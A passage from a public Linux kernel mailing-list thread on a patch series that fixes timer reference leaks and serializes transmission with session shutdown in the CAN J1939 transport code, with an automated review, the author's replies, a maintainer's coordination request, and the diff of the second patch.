> j1939_session_deactivate().
>
> Several netdev_alert() messages are now printed only when the caller wins
> the state transition.
>
> The follow-up commit "can: j1939: serialize TX with session shutdown"
> does not describe these changes either.
>
> Could these changes be spelled out in the commit message, or split into
> separate patches? That would let stable backporters see which
> userspace-visible changes are part of the fix.
Agreed. Patch 1 changes more than timer reference accounting: terminal
state transitions now gate RX completion and error reporting, and timer
rearming is refused after shutdown. I will update the commit message to
describe these user-visible behavior changes and explain their relationship
to synchronizing timer lifetime with terminal state. I will also check
whether any of these changes can be separated without leaving an
inconsistent intermediate patch.
>
> > diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> > index 8fcfd13e5e6f8..c327fd9618a0c 100644
> > --- a/net/can/j1939/transport.c
> > +++ b/net/can/j1939/transport.c
>
> [ ... ]
>
> > @@ -1082,12 +1283,12 @@ static int j1939_simple_txnext(struct j1939_session *session)
> >
> > can_skb_set_owner(skb, se_skb->sk);
> >
> > - j1939_tp_set_rxtimeout(session, J1939_SIMPLE_ECHO_TIMEOUT_MS);
> > -
> > - ret = j1939_send_one(priv, skb);
> > + ret = j1939_send_one(session->priv, skb);
> > if (ret)
> > goto out_free;
> >
> > + j1939_tp_set_rxtimeout(session, J1939_SIMPLE_ECHO_TIMEOUT_MS);
> > +
>
> [Severity: Low]
> Can this leave a J1939_SIMPLE session in J1939_SESSION_ACTIVE with no
> timer armed?
>
> If j1939_send_one() fails with -ENETDOWN, the code jumps to out_free and
> the echo timeout is never armed. j1939_tp_txtimer() then does nothing for
> that error, because it expects a later netdev event to clean up:
>
> case -ENETDOWN:
> /* In this case we should get a netdev_event(), all active
> * sessions will be cleared by j1939_cancel_active_session().
>
> That expectation does not hold if the interface was already down before
> the session was created. On the path
> j1939_sk_sendmsg()->j1939_sk_send_loop()->j1939_tp_send(), no function
> checks IFF_UP. j1939_session_activate() checks only the registration
> state:
>
> } else if (priv->ndev->reg_state != NETREG_REGISTERED) {
> ret = -ENODEV;
>
> j1939_sk_netdev_event_netdown() leaves ENETDOWN in sk_err. The first
> sendmsg consumes it through sock_error() in sock_alloc_send_skb(). A
> second sendmsg then activates a simple session, and can_send() returns
> -ENETDOWN.
>
> Before this patch, the pre-armed echo timeout fired after
> J1939_SIMPLE_ECHO_TIMEOUT_MS, set session->err = -ETIME, and deactivated
> the session. Now the session stays on priv->active_session_list until
> socket close, NETDEV_UNREGISTER or another down event.
>
> The old rxtimer path also left the session at the head of the socket's
> sk_session_queue, because it did not call
> j1939_sk_queue_activate_next(). So the socket queue stall is not new.
>
> The follow-up commit "can: j1939: serialize TX with session shutdown"
> keeps this ordering.
>
> Would it make sense to also arm the echo timeout, or deactivate the
> session, when the send fails with -ENETDOWN?
Agreed; this is a valid edge case. If the interface is already down when
a simple session is created, the send can fail with -ENETDOWN without a
subsequent NETDEV_DOWN event to clean up the session. With the echo timeout
now armed only after a successful send, that session can remain ACTIVE
without a timer. I will fix the -ENETDOWN path so it terminates the session
and advances the socket queue, and add a targeted test for a send on an
already-down interface.
pw-bot: cr
>
> --
> Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/20261109131624.276943-1-zihanx%40nebusec.ai
^ permalink raw reply [flat|nested] 7+ messages in thread
* Re: [PATCH net v8 1/2] can: j1939: account for timer references across rearm
2026-11-09 13:16 ` [PATCH net v8 1/2] can: j1939: account for timer references across rearm Zihan Xi
2026-11-11 3:48 ` netdev-bot+sashiko
@ 2026-11-11 5:53 ` Oleksij Rempel
2026-11-12 7:18 ` zihan xi
1 sibling, 1 reply; 7+ messages in thread
From: Oleksij Rempel @ 2026-11-11 5:53 UTC (permalink / raw)
To: Zihan Xi
Cc: linux-can, robin, kernel, socketcan, mkl, bst, lkp, maxime.jayat,
ecathinds, vega
Hi Zihan,
Thank you for your work.
To avoid duplicate work, please take a look at this series:
https://lore.kernel.org/all/a1dd9760-7815-400a-a39c-a1a03cf8262e@I-love.SAKURA.ne.jp/
and sync it with Tetsuo.
On Mon, Nov 09, 2026 at 01:16:23PM +0000, Zihan Xi wrote:
> Rearming a session timer updates the existing hrtimer rather than
> creating another callback. Taking a session reference for every start
> can therefore leave references behind when the timer is rearmed.
>
> Track one session reference across each timer's queued and running
> lifetime. Apply the same accounting to the RX timer and synchronize
> rearming and cancellation with terminal state changes. Arm the simple-TX
> echo timeout only after a successful send, and keep terminal session
> transitions from leaving stale timer references or changing the result.
>
> Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Link: https://bugtracker.nebusec.ai/f/11143
> Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
> ---
> net/can/j1939/j1939-priv.h | 11 +
> net/can/j1939/transport.c | 510 +++++++++++++++++++++++++++++++------
> 2 files changed, 438 insertions(+), 83 deletions(-)
>
> diff --git a/net/can/j1939/j1939-priv.h b/net/can/j1939/j1939-priv.h
> index cf26352d1d8c..123622c82a98 100644
> --- a/net/can/j1939/j1939-priv.h
> +++ b/net/can/j1939/j1939-priv.h
> @@ -10,6 +10,7 @@
> #define _J1939_PRIV_H_
>
> #include <linux/can/j1939.h>
> +#include <linux/spinlock.h>
> #include <net/sock.h>
>
> /* Timeout to receive the abort signal over loop back. In case CAN
> @@ -290,6 +291,16 @@ struct j1939_session {
> unsigned int dpo;
> } pkt;
> struct hrtimer txtimer, rxtimer;
> + unsigned int txtimer_cancelers; /* block starts while a cancel waits */
> + spinlock_t txtimer_lock; /* Protects TX timer lifetime state. */
> + /* One reference pins the complete queued/running timer lifetime. */
> + bool txtimer_shutdown;
> + bool txtimer_ref;
> + spinlock_t rxtimer_lock; /* Protects RX timer lifetime state. */
> + unsigned int rxtimer_cancelers;
> + /* One reference pins the complete queued/running timer lifetime. */
> + bool rxtimer_shutdown;
> + bool rxtimer_ref;
If you add new variables, pleas use __guarded_by()
https://docs.kernel.org/dev-tools/context-analysis.html
Thank you!
Best Regards
Oleksij
--
Pengutronix e.K. | |
Steuerwalder Str. 21 | http://www.pengutronix.de/ |
31137 Hildesheim, Germany | Phone: +49-5121-206917-0 |
Amtsgericht Hildesheim, HRA 2686 | Fax: +49-5121-206917-5555 |
^ permalink raw reply [flat|nested] 7+ messages in thread* Re: [PATCH net v8 1/2] can: j1939: account for timer references across rearm
2026-11-11 5:53 ` Oleksij Rempel
@ 2026-11-12 7:18 ` zihan xi
0 siblings, 0 replies; 7+ messages in thread
From: zihan xi @ 2026-11-12 7:18 UTC (permalink / raw)
To: Oleksij Rempel
Cc: linux-can, robin, kernel, socketcan, mkl, bst, lkp, maxime.jayat,
ecathinds, vega
On Wed, Nov 11, 2026 at 1:53 PM Oleksij Rempel <o.rempel@pengutronix.de> wrote:
>
> Hi Zihan,
>
> Thank you for your work.
>
> To avoid duplicate work, please take a look at this series:
> https://lore.kernel.org/all/a1dd9760-7815-400a-a39c-a1a03cf8262e@I-love.SAKURA.ne.jp/
>
> and sync it with Tetsuo.
>
> On Mon, Nov 09, 2026 at 01:16:23PM +0000, Zihan Xi wrote:
> > Rearming a session timer updates the existing hrtimer rather than
> > creating another callback. Taking a session reference for every start
> > can therefore leave references behind when the timer is rearmed.
> >
> > Track one session reference across each timer's queued and running
> > lifetime. Apply the same accounting to the RX timer and synchronize
> > rearming and cancellation with terminal state changes. Arm the simple-TX
> > echo timeout only after a successful send, and keep terminal session
> > transitions from leaving stale timer references or changing the result.
> >
> > Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
> > Cc: stable@vger.kernel.org
> > Reported-by: Vega <vega@nebusec.ai>
> > Link: https://bugtracker.nebusec.ai/f/11143
> > Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
> > ---
> > net/can/j1939/j1939-priv.h | 11 +
> > net/can/j1939/transport.c | 510 +++++++++++++++++++++++++++++++------
> > 2 files changed, 438 insertions(+), 83 deletions(-)
> >
> > diff --git a/net/can/j1939/j1939-priv.h b/net/can/j1939/j1939-priv.h
> > index cf26352d1d8c..123622c82a98 100644
> > --- a/net/can/j1939/j1939-priv.h
> > +++ b/net/can/j1939/j1939-priv.h
> > @@ -10,6 +10,7 @@
> > #define _J1939_PRIV_H_
> >
> > #include <linux/can/j1939.h>
> > +#include <linux/spinlock.h>
> > #include <net/sock.h>
> >
> > /* Timeout to receive the abort signal over loop back. In case CAN
> > @@ -290,6 +291,16 @@ struct j1939_session {
> > unsigned int dpo;
> > } pkt;
> > struct hrtimer txtimer, rxtimer;
> > + unsigned int txtimer_cancelers; /* block starts while a cancel waits */
> > + spinlock_t txtimer_lock; /* Protects TX timer lifetime state. */
> > + /* One reference pins the complete queued/running timer lifetime. */
> > + bool txtimer_shutdown;
> > + bool txtimer_ref;
> > + spinlock_t rxtimer_lock; /* Protects RX timer lifetime state. */
> > + unsigned int rxtimer_cancelers;
> > + /* One reference pins the complete queued/running timer lifetime. */
> > + bool rxtimer_shutdown;
> > + bool rxtimer_ref;
>
> If you add new variables, pleas use __guarded_by()
> https://docs.kernel.org/dev-tools/context-analysis.html
>
> Thank you!
>
> Best Regards
> Oleksij
> --
> Pengutronix e.K. | |
> Steuerwalder Str. 21 | http://www.pengutronix.de/ |
> 31137 Hildesheim, Germany | Phone: +49-5121-206917-0 |
> Amtsgericht Hildesheim, HRA 2686 | Fax: +49-5121-206917-5555 |
Hi Oleksij,
Thanks for pointing this out.
I compared Tetsuo's v11 series with my current timer patch. They appear
to address separate paths: his series changes ECU/address-claim
lifetime handling, while mine changes session timer lifetime and TX
shutdown handling. They both touch j1939-priv.h, but in different
areas. I have not tested the patches together, so I cannot yet confirm
that they apply cleanly as a combined series.
I will hold my timer patch until Tetsuo's series is applied, then
rebase and rework mine on top of it. I will also add __guarded_by()
annotations for the new protected fields and run context analysis with
Clang before sending an updated series.
I will coordinate with Tetsuo to avoid duplicate work.
Best regards,
Zihan
^ permalink raw reply [flat|nested] 7+ messages in thread
* [PATCH net v8 2/2] can: j1939: serialize TX with session shutdown
2026-11-09 13:16 [PATCH net v8 0/2] can: j1939: fix TX timer reference leak Zihan Xi
2026-11-09 13:16 ` [PATCH net v8 1/2] can: j1939: account for timer references across rearm Zihan Xi
@ 2026-11-09 13:16 ` Zihan Xi
1 sibling, 0 replies; 7+ messages in thread
From: Zihan Xi @ 2026-11-09 13:16 UTC (permalink / raw)
To: linux-can
Cc: robin, o.rempel, kernel, socketcan, mkl, bst, lkp, maxime.jayat,
ecathinds, vega, zihanx
A TX timer callback can pass its ACTIVE-state check just before another
CPU completes or aborts the session. Serialize session frame transmission
with terminal state changes so no late TP.DT, CTS, EOMA, or simple frame
can appear on the CAN bus after shutdown wins.
The shutdown gate also prevents a late TX callback failure from replacing
the result while a terminal path has shut down the timers but has not yet
published DONE. Keep this gate in j1939_session_fail() for that interval.
The RX timer shutdown flag already covers the locked RX-timeout setup, so
avoid checking the same shutdown state twice. Likewise, let
__j1939_session_cancel() own the shutdown check shared by its callers.
Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Link: https://bugtracker.nebusec.ai/f/11143
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
net/can/j1939/j1939-priv.h | 3 ++
net/can/j1939/transport.c | 73 ++++++++++++++++++++++++++++++++------
2 files changed, 65 insertions(+), 11 deletions(-)
diff --git a/net/can/j1939/j1939-priv.h b/net/can/j1939/j1939-priv.h
index 123622c82a98..1d8cbe692fcd 100644
--- a/net/can/j1939/j1939-priv.h
+++ b/net/can/j1939/j1939-priv.h
@@ -292,6 +292,9 @@ struct j1939_session {
} pkt;
struct hrtimer txtimer, rxtimer;
unsigned int txtimer_cancelers; /* block starts while a cancel waits */
+ /* Serialize session frame transmission against terminal state changes. */
+ spinlock_t tx_send_lock;
+ bool tx_send_shutdown;
spinlock_t txtimer_lock; /* Protects TX timer lifetime state. */
/* One reference pins the complete queued/running timer lifetime. */
bool txtimer_shutdown;
diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
index c327fd9618a0..4458b8306743 100644
--- a/net/can/j1939/transport.c
+++ b/net/can/j1939/transport.c
@@ -446,10 +446,18 @@ static void j1939_session_rxtimer_cancel_async(struct j1939_session *session)
j1939_session_put(session);
}
+static void j1939_session_tx_send_shutdown(struct j1939_session *session)
+{
+ spin_lock_bh(&session->tx_send_lock);
+ session->tx_send_shutdown = true;
+ spin_unlock_bh(&session->tx_send_lock);
+}
+
static void
j1939_session_shutdown_intent_locked(struct j1939_session *session)
{
lockdep_assert_held(&session->priv->active_session_list_lock);
+ j1939_session_tx_send_shutdown(session);
spin_lock(&session->rxtimer_lock);
session->rxtimer_shutdown = true;
spin_unlock(&session->rxtimer_lock);
@@ -797,6 +805,25 @@ sk_buff *j1939_tp_tx_dat_new(struct j1939_priv *priv,
return skb;
}
+static int j1939_session_tx_send(struct j1939_session *session,
+ struct sk_buff *skb)
+{
+ int ret;
+
+ /* Pair the state check and send with terminal state transitions. */
+ spin_lock_bh(&session->tx_send_lock);
+ if (session->tx_send_shutdown ||
+ READ_ONCE(session->state) != J1939_SESSION_ACTIVE) {
+ spin_unlock_bh(&session->tx_send_lock);
+ kfree_skb(skb);
+ return -ESHUTDOWN;
+ }
+ ret = j1939_send_one(session->priv, skb);
+ spin_unlock_bh(&session->tx_send_lock);
+
+ return ret;
+}
+
/* TP transmit packet functions */
static int j1939_tp_tx_dat(struct j1939_session *session,
const u8 *dat, int len)
@@ -813,12 +840,13 @@ static int j1939_tp_tx_dat(struct j1939_session *session,
if (j1939_tp_padding && len < 8)
memset(skb_put(skb, 8 - len), 0xff, 8 - len);
- return j1939_send_one(priv, skb);
+ return j1939_session_tx_send(session, skb);
}
static int j1939_xtp_do_tx_ctl(struct j1939_priv *priv,
const struct j1939_sk_buff_cb *re_skcb,
- bool swap_src_dst, pgn_t pgn, const u8 *dat)
+ bool swap_src_dst, pgn_t pgn, const u8 *dat,
+ struct j1939_session *session)
{
struct sk_buff *skb;
u8 *skdat;
@@ -836,6 +864,8 @@ static int j1939_xtp_do_tx_ctl(struct j1939_priv *priv,
skdat[6] = (pgn >> 8);
skdat[7] = (pgn >> 16);
+ if (session)
+ return j1939_session_tx_send(session, skb);
return j1939_send_one(priv, skb);
}
@@ -846,7 +876,7 @@ static inline int j1939_tp_tx_ctl(struct j1939_session *session,
return j1939_xtp_do_tx_ctl(priv, &session->skcb,
swap_src_dst,
- session->skcb.addr.pgn, dat);
+ session->skcb.addr.pgn, dat, session);
}
static int j1939_xtp_tx_abort(struct j1939_priv *priv,
@@ -863,7 +893,8 @@ static int j1939_xtp_tx_abort(struct j1939_priv *priv,
memset(dat, 0xff, sizeof(dat));
dat[0] = J1939_TP_CMD_ABORT;
dat[1] = err;
- return j1939_xtp_do_tx_ctl(priv, re_skcb, swap_src_dst, pgn, dat);
+ return j1939_xtp_do_tx_ctl(priv, re_skcb, swap_src_dst, pgn, dat,
+ NULL);
}
void j1939_tp_schedule_txtimer(struct j1939_session *session, int msec)
@@ -1058,7 +1089,7 @@ static int j1939_session_tx_dat(struct j1939_session *session)
ret = j1939_tp_tx_dat(session, dat, len + 1);
if (ret < 0) {
/* ENOBUFS == CAN interface TX queue is full */
- if (ret != -ENOBUFS)
+ if (ret != -ENOBUFS && ret != -ESHUTDOWN)
netdev_alert(priv->ndev,
"%s: 0x%p: queue data error: %i\n",
__func__, session, ret);
@@ -1283,7 +1314,7 @@ static int j1939_simple_txnext(struct j1939_session *session)
can_skb_set_owner(skb, se_skb->sk);
- ret = j1939_send_one(session->priv, skb);
+ ret = j1939_session_tx_send(session, skb);
if (ret)
goto out_free;
@@ -1318,7 +1349,9 @@ static bool j1939_session_deactivate_locked(struct j1939_session *session)
active = true;
list_del_init(&session->active_session_list_entry);
- session->state = J1939_SESSION_DONE;
+ spin_lock(&session->tx_send_lock);
+ WRITE_ONCE(session->state, J1939_SESSION_DONE);
+ spin_unlock(&session->tx_send_lock);
j1939_session_put(session);
}
@@ -1350,10 +1383,14 @@ j1939_session_deactivate_activate_next(struct j1939_session *session)
static bool j1939_session_fail(struct j1939_session *session, int err)
{
- bool deactivate = false;
+ bool deactivate = false, tx_send_shutdown;
j1939_session_list_lock(session->priv);
- if (session->state == J1939_SESSION_ACTIVE) {
+ spin_lock(&session->tx_send_lock);
+ tx_send_shutdown = session->tx_send_shutdown;
+ spin_unlock(&session->tx_send_lock);
+ /* Shutdown may precede DONE while a terminal path drains its timers. */
+ if (!tx_send_shutdown && session->state == J1939_SESSION_ACTIVE) {
session->err = err;
deactivate = j1939_session_deactivate_locked(session);
}
@@ -1376,14 +1413,22 @@ static bool __j1939_session_cancel(struct j1939_session *session,
WARN_ON_ONCE(!err);
lockdep_assert_held(&session->priv->active_session_list_lock);
+ spin_lock(&session->tx_send_lock);
+ if (session->tx_send_shutdown) {
+ spin_unlock(&session->tx_send_lock);
+ return false;
+ }
+
session->err = j1939_xtp_abort_to_errno(priv, err);
- session->state = J1939_SESSION_WAITING_ABORT;
+ WRITE_ONCE(session->state, J1939_SESSION_WAITING_ABORT);
/* do not send aborts on incoming broadcasts */
if (!j1939_cb_is_broadcast(&session->skcb)) {
j1939_xtp_tx_abort(priv, &session->skcb,
!session->transmission,
err, session->skcb.addr.pgn);
}
+ spin_unlock(&session->tx_send_lock);
+
if (session->sk)
j1939_sk_send_loop_abort(session->sk, session->err);
@@ -1476,6 +1521,9 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
* propagation of the error to user space.
*/
break;
+ case -ESHUTDOWN:
+ /* A terminal state transition won before the frame was sent. */
+ break;
case -EOVERFLOW:
j1939_session_cancel(session, J1939_XTP_ABORT_ECTS_TOO_BIG);
break;
@@ -1881,6 +1929,7 @@ static struct j1939_session *j1939_session_new(struct j1939_priv *priv,
memcpy(&session->skcb, skcb, sizeof(session->skcb));
spin_lock_init(&session->txtimer_lock);
+ spin_lock_init(&session->tx_send_lock);
spin_lock_init(&session->rxtimer_lock);
hrtimer_setup(&session->txtimer, j1939_tp_txtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
hrtimer_setup(&session->rxtimer, j1939_tp_rxtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
@@ -1950,7 +1999,9 @@ int j1939_session_activate(struct j1939_session *session)
list_add_tail(&session->active_session_list_entry,
&priv->active_session_list);
j1939_session_get(session);
- session->state = J1939_SESSION_ACTIVE;
+ spin_lock(&session->tx_send_lock);
+ WRITE_ONCE(session->state, J1939_SESSION_ACTIVE);
+ spin_unlock(&session->tx_send_lock);
netdev_dbg(session->priv->ndev, "%s: 0x%p\n",
__func__, session);
--
2.43.0
^ permalink raw reply related [flat|nested] 7+ messages in thread
end of thread, other threads:[~2026-11-12 7:18 UTC | newest]
Thread overview: 7+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-11-09 13:16 [PATCH net v8 0/2] can: j1939: fix TX timer reference leak Zihan Xi
2026-11-09 13:16 ` [PATCH net v8 1/2] can: j1939: account for timer references across rearm Zihan Xi
2026-11-11 3:48 ` netdev-bot+sashiko
2026-11-11 4:21 ` zihan xi
2026-11-11 5:53 ` Oleksij Rempel
2026-11-12 7:18 ` zihan xi
2026-11-09 13:16 ` [PATCH net v8 2/2] can: j1939: serialize TX with session shutdown Zihan Xi
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox